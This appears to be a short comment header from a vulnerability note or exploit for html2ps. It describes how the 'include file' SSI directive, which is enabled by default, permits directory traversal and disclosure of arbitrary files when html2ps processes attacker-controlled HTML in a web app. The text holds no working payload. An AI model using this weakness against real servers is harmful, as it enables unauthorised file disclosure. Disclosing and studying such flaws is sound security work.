#
# the "include file" ssi directive doesn't check for directory
# traversal so you can include and disclose any file in the
# dir tree (very handy when html2ps is running as a part of a
# web app with data that you control)
# the vuln requires that "ssi" in the @html2ps block in the
# html2psrc file is set to 1, which is the default
#
# bonus info: some of the backtick operators look shady too
# but will require lots of prerequisites so they're uncool
#

# jan k: shame on you - your perl is very ugly
